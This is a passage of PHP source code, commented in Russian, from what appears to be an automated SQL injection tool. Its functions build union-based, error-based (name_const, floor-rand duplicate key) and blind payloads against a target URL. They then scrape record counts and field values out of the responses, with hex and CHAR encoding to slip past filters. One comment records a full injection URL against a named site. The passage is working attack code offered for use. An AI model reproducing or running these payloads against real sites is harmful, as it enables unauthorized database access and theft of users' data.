!empty($element);\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t//$this-\u003ed($b,'b');\n\t\t\t\t\t\t\t//$this-\u003ed($b_bew,'b_new');\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$export[$val] = $b[$j];\n\t\t\t\t\t\t}else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$export[$val] = '';\n\t\t\t\t\t\n\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t$j++;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\n\t\t//\t$this-\u003ed($export,'$export');\n\t\t\t//exit;\n\t\t\t\n\t\t\tif(isset($export))\n\t\t\t{\t\n\t\t\t\treturn $export;\n\t\t\t}\n\t\t\t\n\t\t\treturn false;\n\n\t}\n\n\t\n\t\n\t\n\tfunction mysqlGetAllValue($bd,$table,$needle,$count=0,$order=array(),$where=''){//Получение всех результатов\n\t\t\n\t\t\t\n\t\t//$this-\u003ed($count,'$count1');\t\n\t\t//exit;\n\t\t//$count = 3;\n\t\tif(intval($count)==0)$count = $this-\u003emysqlGetCountInsert($bd,$table,$where);\n\n\t\t//$count=1;\n\t\t//$this-\u003ed($count,'$count 2!!!');\t\n\t\t\n\t\tif($count \u003e0)\n\t\t{\t\n\t\t\tfor($i=0;$i\u003c$count;$i++)\n\t\t\t{\n\t\t\t\t$new[] =  $this-\u003emysqlGetValue($bd,$table,$needle,$i,$order,$where);\n\t\t\t\t//$this-\u003ed($new,'new');\n\t\t\t\t\t//return $new;\t\n\t\t\t}\n\t\t\t\n\t\t\treturn $new;\n\t\t}else\n\t\t{\n\t\t\treturn 0;\n\t\t}\n\n\t}\n\t\n\t\n\t\n\t\n\tfunction mysqlGetCountInsertOLD($bd,$table,$where=''){ //общая -  подсчёт записей в таблице\n\t\t\n\t\t$limit = '';\n\t\t\n\t\tif($this-\u003emethod == 10){\n\t\t\t\n\t\t\t$query = \"\";//начальный запрос для sleep\n\t\t\t$k = $this-\u003eset['sleep']['coment'];\n\t\t\t$true = false;\n\t\t\t\n\t\t\t\n\t\t\tfor($col=1;$col\u003c=$this-\u003ecolumn;$col++)\n\t\t\t{\n\n\t\t\t\tif($col==1){$zap='';}else{$zap=',';}\n\t\t\t\t\n\t\t\t\tif(in_array($col, $this-\u003ework) AND $true==false)\n\t\t\t\t{\n\n\t\t\t\t\t$p = $col-1;\n\t\t\t\t\t\t\n\t\t\t\t\t$query .= $zap.\"CONCAT(CHAR(\".$this-\u003echarcher('[X]').\"),count(*),CHAR(\".$this-\u003echarcher('[X]').\"))\";\n\t\t\t\t\t\t\n\t\t\t\t\t$true = true;\n\t\t\t\t\t\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t$query .= $zap.$col;\t\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\t$q = $query.' FroM '.$bd.'.'.$table.' '.$where;\n\t\t\t\t\n\t\t\t\t$q = str_replace(',,', ',',$q);\n\t\t\t\t\n\t\t\t\t//$this-\u003ed($q,'insert');\n\t\t\t\t\n\t\t\t\t$file = $this-\u003esend_sql('SEleCT '.$q,false);\n\t\t\t\t\t\n\t\t\t\t//print_r($file);\t\n\t\t\t\n\t\t\t\tpreg_match_all('~\\[X\\](.*?)\\[X\\]~',$file,$arr);\n\t\t\t\t\n\t\t\t\tif(!isset($arr[1][0]))false;\n\t\t\t\treturn @$arr[1][0];\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\n\t\tif($this-\u003emethod==6){\n\n\t\t\t$qq = '(SELECT+count(*)+from+'.$bd.'.'.$table.'+'.$where.')';\n\n\t\t\t$url = $this-\u003eurl.$this-\u003eget_by_error.'+or+(1,2)=(select*from(select%20name_const('.$qq.',1),name_const('.$qq.',1)+from+'.$bd.'.'.$table.'+limit+1)a)+AND+'.$this-\u003eget_by_error.'x'.$this-\u003eget_by_error.'='.$this-\u003eget_by_error.'x';\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t$file = $this-\u003egetContents($url);\n\n\n\t\t\tpreg_match_all(\"~\\Duplicate column name \\'(.*?)\\'~\",$file,$arr);\n\t\t\t\t\n\t\t\treturn $arr[1][0];\n\n\t\t\t\n\t\t}\n\t\t\n\t\tif($this-\u003emethod==5){\n\t\t\n\t\t\t//$count = $this-\u003emysqlGetByOrder($bd, $table, 'count(*)',0,array(),$where);\n\t\t\t\t\t\t\n\t\t\t$url = $this-\u003eurl.'+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+distinct+concat%280x7e%2C0x27%2Ccount(*)%2C0x27%2C0x7e%29+FROM+'.$bd.'.'.$table.'+'.$where.'+%29%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+1%3D1';\n\t\t\n\t\t\t$file = $this-\u003egetContents($url);\n\t\t\n\t\t\tpreg_match_all(\"~\\\\'\\~\\'(.*?)\\'\\~1\\' for key~\",$file,$arr);\n\n\t\n\t\t\treturn $arr[1][0];\n\n\t\t}\n\t\t\n\t\tif($this-\u003emethod==4){\n\t\t\n\t\t\t$url = $this-\u003eurl.'19999999999'.$this-\u003eget_by_error.'+or+(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+count(*)+from+'.$bd.'.'.$table.'+'.$where.'),1,64),floor(rand(0)*2)))+--+'.$this-\u003eget_by_error.'x'.$this-\u003eget_by_error.'='.$this-\u003eget_by_error.'x';\n\t\t\t\t\t\t\t\n\t\t\t$file = $this-\u003egetContents($url);\n\n\t\t\tpreg_match_all(\"~\\Duplicate entry \\'(.*?)1\\' for key~\",$file,$arr);\n\t\t\t\n\t\t\treturn $arr[1][0];\n\n\t\t}\n\t\t\n\t\t$bd =    str_replace(' ', '+',$bd);\n\t\t$where = str_replace(' ', '+',$where);\n\t\t$table = str_replace(' ', '+',$table);\n\t\t\n\t\t\n\t\t$n = $this-\u003evariant_query[$this-\u003esposob][$this-\u003emethod][0];\n\t\t$k = $this-\u003evariant_query[$this-\u003esposob][$this-\u003emethod][1];\n\n\n\t\t$query = \"1111111111111$n\";\n\t\t$true = false;\n\n\t\tfor($col=1;$col\u003c=$this-\u003ecolumn;$col++)\n\t\t{\n\n\t\t\tif($col==1){$zap='';}else{$zap=',';}\n\t\t\t\n\t\t\tif(in_array($col, $this-\u003ework) AND $true==false)\n\t\t\t{\n\n\t\t\t\t$p = $col-1;\n\t\t\t\t\t\n\t\t\t\t$query .= $zap.\"CONCAT(CHAR(\".$this-\u003echarcher('[X]').\"),count(*),CHAR(\".$this-\u003echarcher('[X]').\"))\";\n\t\t\t\t\t\n\t\t\t\t$true = true;\n\t\t\t\t\n\t\t\t}else{\n\t\t\t\t$query .= $zap.\"13\";\t\n\t\t\t}\n\t\t}\n\t\t\n\t\t\t\t$url1 = $this-\u003eurl.$query.'+FROM+'.$bd.'.'.$table.'+'.$where.'+'.$k;\n\t\t\t\t\n\t\t\tif($this-\u003edebug==true){\t$this-\u003ed($url1,'mysqlGetCountInsert');}\n\n\t\t\t\t$file = $this-\u003egetContents($url1);\n\n\t\t\t\tpreg_match_all('~\\[X\\](.*?)\\[X\\]~',$file,$arr);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif(!isset($arr[1][0]))false;\n\t\t\t\treturn @$arr[1][0];\n\t\t\n\t}\n\t\n\tfunction mysqlGetCountInsert($bd,$table,$where=''){ //общая -  подсчёт записей в таблице\n\t\t\n\t\t$limit = '';\n\t\t\n\t\tif($this-\u003emethod == 10){\n\t\t\t\n\t\t\t$query = \"\";//начальный запрос для sleep\n\t\t\t$k = $this-\u003eset['sleep']['coment'];\n\t\t\t$true = false;\n\t\t\t\n\t\t\t\n\t\t\tfor($col=1;$col\u003c=$this-\u003ecolumn;$col++)\n\t\t\t{\n\n\t\t\t\tif($col==1){$zap='';}else{$zap=',';}\n\t\t\t\t\n\t\t\t\tif(in_array($col, $this-\u003ework) AND $true==false)\n\t\t\t\t{\n\n\t\t\t\t\t$p = $col-1;\n\t\t\t\t\t\t\n\t\t\t\t\t$query .= $zap.\"CONCAT(CHAR(\".$this-\u003echarcher('[X]').\"),count(*),CHAR(\".$this-\u003echarcher('[X]').\"))\";\n\t\t\t\t\t\t\n\t\t\t\t\t$true = true;\n\t\t\t\t\t\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t$query .= $zap.$col;\t\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\t$q = $query.' FroM '.$bd.'.'.$table.' '.$where;\n\t\t\t\t\n\t\t\t\t$q = str_replace(',,', ',',$q);\n\t\t\t\t\n\t\t\t\t//$this-\u003ed($q,'insert');\n\t\t\t\t\n\t\t\t\t$file = $this-\u003esend_sql('SEleCT '.$q,false);\n\t\t\t\t\t\n\t\t\t\t//print_r($file);\t\n\t\t\t\n\t\t\t\tpreg_match_all('/\\[X\\](.*?)\\[X\\]/',$file,$arr);\n\t\t\t\t\n\t\t\t\tif(!isset($arr[1][0]))false;\n\t\t\t\treturn @$arr[1][0];\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\n\t\tif($this-\u003emethod==6){\n\n\t\t\t$qq = '(SELECT+count(*)+from+'.$bd.'.'.$table.'+'.$where.')';\n\n\t\t\t$url = $this-\u003eurl.$this-\u003eget_by_error.'+or+(1,2)=(select*from(select%20name_const('.$qq.',1),name_const('.$qq.',1)+from+'.$bd.'.'.$table.'+limit+1)a)+AND+'.$this-\u003eget_by_error.'x'.$this-\u003eget_by_error.'='.$this-\u003eget_by_error.'x';\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t$file = $this-\u003egetContents($url);\n\n\n\t\t\tpreg_match_all(\"~\\Duplicate column name \\'(.*?)\\'~\",$file,$arr);\n\t\t\t\t\n\t\t\treturn $arr[1][0];\n\n\t\t\t\n\t\t}\n\t\t\n\t\tif($this-\u003emethod==5){\n\t\t\n\t\t\t//$count = $this-\u003emysqlGetByOrder($bd, $table, 'count(*)',0,array(),$where);\n\t\t\t\t\t\t\n\t\t\t$url = $this-\u003eurl.'+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+distinct+concat%280x7e%2C0x27%2Ccount(*)%2C0x27%2C0x7e%29+FROM+'.$bd.'.'.$table.'+'.$where.'+%29%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+1%3D1';\n\t\t\n\t\t\t$file = $this-\u003egetContents($url);\n\t\t\n\t\t\tpreg_match_all(\"~\\\\'\\~\\'(.*?)\\'\\~1\\' for key~\",$file,$arr);\n\n\t\n\t\t\treturn $arr[1][0];\n\n\t\t}\n\t\t\n\t\tif($this-\u003emethod==4){\n\t\t\n\t\t\t$url = $this-\u003eurl.'19999999999'.$this-\u003eget_by_error.'+or+(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+count(*)+from+'.$bd.'.'.$table.'+'.$where.'),1,64),floor(rand(0)*2)))+--+'.$this-\u003eget_by_error.'x'.$this-\u003eget_by_error.'='.$this-\u003eget_by_error.'x';\n\t\t\t\t\t\t\t\n\t\t\t$file = $this-\u003egetContents($url);\n\n\t\t\tpreg_match_all(\"~\\Duplicate entry \\'(.*?)1\\' for key~\",$file,$arr);\n\t\t\t\n\t\t\treturn $arr[1][0];\n\n\t\t}\n\t\t\n\t\t$bd =    str_replace(' ', '+',$bd);\n\t\t$where = str_replace(' ', '+',$where);\n\t\t$table = str_replace(' ', '+',$table);\n\t\t\n\t\t\n\t\tif($table!=='')\n\t\t{\n\t\t\t\n\t\t\tif($bd==''){\n\t\t\t\t$from = 'FROM+'.$table.'';\n\t\t\t}else{\n\t\t\t\t$from = 'FROM+'.$bd.'.'.$table.'';\n\t\t\t}\n\t\t}else{\n\t\t\t$from = '';\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t$n = $this-\u003evariant_query[$this-\u003esposob][$this-\u003emethod][0];\n\t\t$k = $this-\u003evariant_query[$this-\u003esposob][$this-\u003emethod][1];\n\n\n\t\t$query = \"1111111111111$n\";\n\t\t$true = false;\n\n\t\tfor($col=1;$col\u003c=$this-\u003ecolumn;$col++)\n\t\t{\n\n\t\t\tif($col==1){$zap='';}else{$zap=',';}\n\t\t\t\n\t\t\tif(in_array($col, $this-\u003ework) AND $true==false)\n\t\t\t{ \n\n\t\t\n\t\t\t\t//http://evilgamerz.com/downloads/index.php?zoekstring=\u0026sortway=title\u0026sort=f' and(/**/sElEcT 1 /**/fRoM(/**/sElEcT count(*),/**/cOnCaT((/**/sElEcT(/**/sElEcT(/**/sElEcT /**/cOnCaT(0x217e21,count(0),0x217e21) /**/fRoM information_schema./**/tAbLeS /**/wHeRe /**/tAbLe_sChEmA=0x6576696c67616d65727a5f636f6d5f2d5f646233)) /**/fRoM information_schema./**/tAbLeS /**/lImIt 0,1),floor(rand(0)*2))x /**/fRoM information_schema./**/tAbLeS /**/gRoUp/**/bY x)a) and '1'='1\u0026page=20\n\t\t\n\t\t\n\t\t\t\t$p = $col-1;\n\t\t\t\t\t\n\t\t\t\t//\t$query .= $zap.\"(select+CONCAT(CHAR(\".$this-\u003echarcher('ddd').\"),$zapr)\".'+'.$from.'+'.$where.'+'.$order2.'+limit+'.$limit.\" )\";\t\n\t\t\t\t\t\n\t\t\t\t//$query .= $zap.\"CONCAT(CHAR(\".$this-\u003echarcher('[X]').\"),count(*),CHAR(\".$this-\u003echarcher('[X]').\"))\";\n\t\t\t\t\n\t\t\t\t//\t$zapr .= \"unhex(Hex(cast($val as char)))\";\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t$query .= $zap.\"(select+CONCAT(CHAR(\".$this-\u003echarcher('[X]').\"),count(*),CHAR(\".$this-\u003echarcher('[X]').\"))\".'+'.$from.'+'.$where.\")\";\t\t\n\t\t\t\t//$query .= $zap.\"(select+CONCAT(CHAR(\".$this-\u003echarcher('[X]').\"),CHAR(\".$this-\u003echarcher('count*').\"),CHAR(\".$this-\u003echarcher('[X]').\"))\".'+'.$from.'+'.$where.\")\";\t\t\n\t\t\t\t\n\t\t\t\t//'WHERE TABLE_SCHEMA='.$this-\u003estrToHex($bd).'');\n\t\t\t\t\t\n\t\t\t\t$true = true;\n\t\t\t\t\n\t\t\t}else{\n\t\t\t\t//$query .= $zap.\"13\";\n\t\t\t\t$query .= $zap.$col;\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t\t\n\t\t\tif($this-\u003edebug==true){\t$this-\u003ed($query,' $query mysqlGetCountInsert');}\n\t\t\t\n\t\t\t\t//$url1 = $this-\u003eurl.$query.'+FROM+'.$bd.'.'.$table.'+'.$where.'+'.$k;\n\t\t\t\t$url1 = $this-\u003eurl.$query.'+'.$k;\n\t\t\t\t$url1 = str_replace(',,', ',',$url1);\n\t\t\t\t$url1 = str_replace('+++', '+',$url1);\n\t\t\t\t//$url1 = str_replace('++', '+',$url1);\n\t\t\t\t\n\t\t\t\t//if($this-\u003edebug==true){\t$this-\u003ed($url1,'mysqlGetCountInsert');}\n\n\t\t\t\t$file = $this-\u003egetContents($url1);\n\n\t\t\t\tpreg_match_all('/\\[X\\](.*?)\\[X\\]/',$file,$arr);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003edebug==true){\t$this-\u003ed($arr,'mysqlGetCountInsert ARR');}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif(!isset($arr[1][0]))false;\n\t\t\t\treturn @$arr[1][0];\n\t\t\n\t}\n\t\n\t\n\t\n\tfunction mysqlGetValueSleep($bd,$table,$pole,$limit=0,$order=array(),$where=''){\n\t\t\n\t\t\tif($this-\u003emethod_hex ==true  AND $this-\u003emethod_auto ==false){\n\t\t\t\t$data = $this-\u003emysqlGetValueSleepHEX($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\treturn $data;\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003emethod_char ==true AND $this-\u003emethod_auto ==false){\n\t\t\t\t$data = $this-\u003emysqlGetValueSleepCHAR($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\treturn $data;\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003emethod_auto ==true)\n\t\t\t{\n\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003emethod_hex ==true){\n\t\t\t\t\t\n\t\t\t\t\t$data = $this-\u003emysqlGetValueSleepHEX($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif($this-\u003emethod_char ==true)\n\t\t\t\t\t{\n\t\t\t\t\t\t$data = $this-\u003emysqlGetValueSleepCHAR($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\t\t\t\n\t\t\t\t\t\tif($data[0] !='' AND count($data)==0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this-\u003emethod_char = true;\n\t\t\t\t\t\t\treturn $data;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif($data[0]=='' AND count($data)==0)\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t$data = $this-\u003emysqlGetValueSleepHEX($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tif($data[0] =='' AND count($data)==0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$data = $this-\u003emysqlGetValueSleepCHAR($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif($data[0] =='' AND count($data)==0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$this-\u003emethod_hex = true;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t$this-\u003emethod_char =true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$this-\u003emethod_hex = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\treturn $data;\n\t\t\t}\n\t\t\n\t}\n\t\n\tfunction mysqlGetValueSleepCHAR($bd,$table,$pole,$limit=0,$order=array(),$where=''){//дочерняя\n\t\t\n\t\t\n\t\tif($table!=='')\n\t\t{\n\t\t\tif($bd=='')\n\t\t\t{\n\t\t\t\t$from = 'FROM '.$table.'';\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$from = 'FROM '.$bd.'.'.$table.'';\n\t\t\t}\n\t\t}else\n\t\t{\n\t\t\t$from = '';\n\t\t}\n\t\t\n\t\t \n\t\t$method = $this-\u003esposob;\n\t\t\n\t\t//начало лимита\n\t\t$limit = $limit.',1';\n\t\t\n\t\t$query = \"\";//начальный запрос для sleep\n\t\t\n\t\t$k = $this-\u003eset['sleep']['coment'];\n\t\t\n\t\t\n\t\t\n\t\t\n\t\tif(empty($k) or $k=='')\n\t\t{\t\n\t\t\t//$this-\u003ed('tochka: emtpry(k) ');\n\t\t\t//return false;\n\t\t}\n\t\t\t \n\t\t if(!is_array($pole))$pole = array($pole);//это как раз наш запрос version к примеру\n\t\t\n\t\t $zapr = '';//общая строка для наших полей\n\t\t \n\t\t\n\t\t \n\t\t//обволакиваем его спец символами, чтобы патом найти можно было бы\n\t\tforeach ($pole as $key=\u003e$val)\n\t\t{\n\t  \t\n\t\t \tif(count($pole)==1)//если одно поле\n\t\t\t{\n\t\t \t\t$zapr .= 'CHAR('.$this-\u003echarcher('[X]').')'.','.$val.',CHAR('.$this-\u003echarcher('[XX]').')';\n\t\t \t\t\n\t\t \t}else\n\t\t\t{//если несколько найти надо\n\t\t \t\t$zapr .= ',CHAR('.$this-\u003echarcher('['.$val.']').')'.','.$val.',CHAR('.$this-\u003echarcher('['.$val.']').')';\n\t\t \t}\n\t\t}\n\t  \n\t\t//$this-\u003ed('tochka: $zapr '. $zapr);\n\t\t//exit;\n\t\t\n\t\t $work_count = count($this-\u003ework);//рабочие поля где вывод есть\n\t\t\n\t\t//$this-\u003ed($this-\u003ework,'$work_count');\n\t\t//exit;\n\t\t\n\t\t $new = array(); // Что на выход\n\t\t $give = 0;\n\t\t \n\t\t\n\t\t//if($this-\u003edumpfile==true)\n\t\t//{\n\t\t\t//$query = $zapr;\n\t\t//}\n\t\t//else{\n\t\t\n\t\t\n\t\tif($order!==array() AND count($pole)\u003e1)\n\t\t{\n\t\t\t$order2 = ' order by `'.$order[0].'` '.$order[1].' ';\n\t\t}else\n\t\t{\n\t\t\t$order2 = ' ';\n\t\t}\n\t\t\n\t\t //подставляем колонки\n\t\t for($col=1;$col\u003c=$this-\u003ecolumn;$col++)\n\t\t\t{\n\t\t\t\t\n\t\t\t\tif($col==1){$zap='';}else{$zap=',';}//запятая\n\t\t\t\n\t\t\t\tif(in_array($col, $this-\u003ework) AND $give==0)\n\t\t\t\t{\n\t\t\t\t\t$p = $col-1;\n\n\t\t\t\t\t$give++;\n\t\t\t\t\t$query .= $zap.\"(select CONCAT(CHAR(\".$this-\u003echarcher('ddd').\"),$zapr)\".' '.$from.' '.$where.' '.$order2.' limit '.$limit.\" )\";\n\t\t\t\t\t\n\t\t\t\t\t//$query .= $zap.\"CONCAT(CHAR(\".$this-\u003echarcher('ddd').\"),$zapr)\";\n\t\t\t\t\t\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\tif($order!==array() AND count($pole)\u003e1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$query .= $zap.\"\".$order[0];\n\t\t\t\t\t}else\n\t\t\t\t\t{\n\t\t\t\t\t\t$query .= $zap.$col;\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t}\n\t\t//}\t\n\t\t\t//$this-\u003ed($query,'$query');\n\t\t\t//exit;\n\t\n\t\t\t\t//.$from.' '.$where.$order.'limit '.$limit\n\t\t\t\t$q = $query.' ';\n\t\t\t\t$q = str_replace(',,', ',',$q);\n\t\t\t\t$q = str_replace('  ', ' ',$q);\n\t\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t//$sss = $this-\u003emysqlDumperFilter('SEleCT '.$q);\n\t\t\t\t\n\t\t\t\t$file = $this-\u003esend_sql('SEleCT '.$q,false);\n\t\t\t\t//exit;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003ehead_enable==true){\n\t\t\t\t\t\n\t\t\t\t\tfile_put_contents('./file_sleep_head.txt',$file);\n\t\t\t\t}else{\n\t\t\t\t\tfile_put_contents('./file_sleep.txt',$file);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t//$this-\u003ed($q,'$q');\n\t\t\t\t\n\t\t\t\t//$this-\u003ed($file,'$file');\t\n\t\t\t\t\n\t\t\t\t//$this-\u003ed('tochka: send_sql-  '.'SEleCT '.$q);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$this-\u003efile = $file;\n\t\t\t\t\n\t\t\t\tif($this-\u003edumpfile==true)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t//return $file;\n\t\t\n\t\t\t\t}\n\t\t\t\t\n\n\t\t\t\n\t\t\t\t\n\t\t\t\t//ищем результаты\t\n\t\t\t\tif(count($pole)==1) //если он один предполагается\n\t\t\t\t{\n\t\t\t\t\tpreg_match_all(\"|\\[X\\](.*?)\\[XX\\]|i\",$file,$arr);\n\t\t\t\t\t\n\t\t\t\t\t//$this-\u003ed($arr[1][0],'$arr[1][0]');\n\n\t\t\t\t\tif(isset($arr[1][0]))return array($pole[0]=\u003e$arr[1][0]);\n\t\t\t\t\t\n\t\t\t\t\treturn false;\n\t\t \t\t\n\t\t\t\t}else//если не сколько полей было\n\t\t\t\t{\n\t\t \t\t\t\t\n\t\t\t\t\tforeach ($pole as $val)\n\t\t\t\t\t{\n\t\t\t\t\t\tpreg_match_all(\"|\\[{$val}\\](.*?)\\[{$val}\\]|i\",$file,$arr);\n\t\t\t\t\n\t\t\t\t\t\tif(isset($arr[1][0]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$export[$val] = $arr[1][0];\n\t\t\t\t\t\t}else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$export[$val] = '';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\tif(isset($export))\n\t\t\t\t{\t\n\t\t\t\t\treturn $export;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn false;\n\t\t\n\n\t}\n\t\n\tfunction mysqlGetValueSleepHEX($bd,$table,$pole,$limit=0,$order=array(),$where=''){//дочерняя\n\t\t\n\t\t\n\t\tif($table!=='')\n\t\t{\n\t\t\tif($bd=='')\n\t\t\t{\n\t\t\t\t$from = 'FROM '.$table.'';\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$from = 'FROM '.$bd.'.'.$table.'';\n\t\t\t}\n\t\t}else\n\t\t{\n\t\t\t$from = '';\n\t\t}\n\t\t\n\t\t \n\t\t$method = $this-\u003esposob;\n\t\t\n\t\t//начало лимита\n\t\t$limit = $limit.',1';\n\t\t\n\t\t$query = \"\";//начальный запрос для sleep\n\t\t\n\t\t$k = $this-\u003eset['sleep']['coment'];\n\t\t\n\t\t\n\t\t\n\t\t\n\t\tif(empty($k) or $k=='')\n\t\t{\t\n\t\t\t//$this-\u003ed('tochka: emtpry(k) ');\n\t\t\t//return false;\n\t\t}\n\t\t\t \n\t\t if(!is_array($pole))$pole = array($pole);//это как раз наш запрос version к примеру\n\t\t\n\t\t $zapr = '';//общая строка для наших полей\n\t\t \n\t\t\n\t\t \n\t\t//обволакиваем его спец символами, чтобы патом найти можно было бы\n\t\tforeach ($pole as $key=\u003e$val)\n\t\t{\n\t  \t\n\t\t \tif(count($pole)==1)//если одно поле\n\t\t\t{\n\t\t\t\t\n\t\t\t\t//  $zapr .= \"0x5e,IFNULL(cast($val as char),' '),0x5e,\";\n\t\t\t\t$zapr .= \"IFNULL(unhex(Hex(cast($val as char))),' ')\";\n\t\t\t\t\n\t\t \t\t//$zapr .= 'CHAR('.$this-\u003echarcher('[X]').')'.','.$val.',CHAR('.$this-\u003echarcher('[XX]').')';\n\t\t \t\t\n\t\t \t}else\n\t\t\t{//если несколько найти надо\n\t\t\t\t//$zapr .= \"0x5e,unhex(Hex(cast($val as char))),0x5e,\";\n\t\t\t\t$zapr .= \"0x5e,IFNULL(unhex(Hex(cast($val as char))),' '),0x5e,\";\n\t\t\t\t//$zapr .= ',CHAR('.$this-\u003echarcher('['.$val.']').')'.','.$val.',CHAR('.$this-\u003echarcher('['.$val.']').')';\n\t\t \t}\n\t\t}\n\t  \n\t\t//$this-\u003ed('tochka: $zapr '. $zapr);\n\t\t//exit;\n\t\t\n\t\t $work_count = count($this-\u003ework);//рабочие поля где вывод есть\n\t\t\n\t\t//$this-\u003ed($this-\u003ework,'$work_count');\n\t\t//exit;\n\t\t\n\t\t $new = array(); // Что на выход\n\t\t $give = 0;\n\t\t \n\t\t\n\t\t//if($this-\u003edumpfile==true)\n\t\t//{\n\t\t\t//$query = $zapr;\n\t\t//}\n\t\t//else{\n\t\t\n\t\t if($order!==array() AND count($pole)\u003e1)\n\t\t\t{\n\t\t\t\t$order2 = ' order by `'.$order[0].'` '.$order[1].' ';\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$order2 = '';\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\tif($this-\u003edesc ==0 AND $this-\u003edesc_enable == true)\n\t\t\t{\t\n\t\t\t\t$order2 = 'ORDER by id DESC';\n\t\t\t}\n\t\t\t\n\t\t\n\t\t\n\t\t\n\t\t //подставляем колонки\n\t\t for($col=1;$col\u003c=$this-\u003ecolumn;$col++)\n\t\t\t{\n\t\t\t\t\n\t\t\t\tif($col==1){$zap='';}else{$zap=',';}//запятая\n\t\t\t\n\t\t\t\tif(in_array($col, $this-\u003ework) AND $give==0)\n\t\t\t\t{\n\t\t\t\t\t$p = $col-1;\n\n\t\t\t\t\t$give++;\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$hh = $this-\u003estrtohex('[ddd]');\n\t\t\t\t\t\n\t\t\t\t\t$query .= $zap.\"(select CONCAT($hh,$zapr,$hh)\".' '.$from.' '.$where.' '.$order2.' limit '.$limit.')';\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t//$query .= $zap.\"CONCAT(CHAR(\".$this-\u003echarcher('ddd').\"),$zapr)\";\n\t\t\t\t\t\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\tif($order!==array() AND count($pole)\u003e1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$query .= $zap.\"\".$order[0];\n\t\t\t\t\t}else\n\t\t\t\t\t{\n\t\t\t\t\t\t$query .= 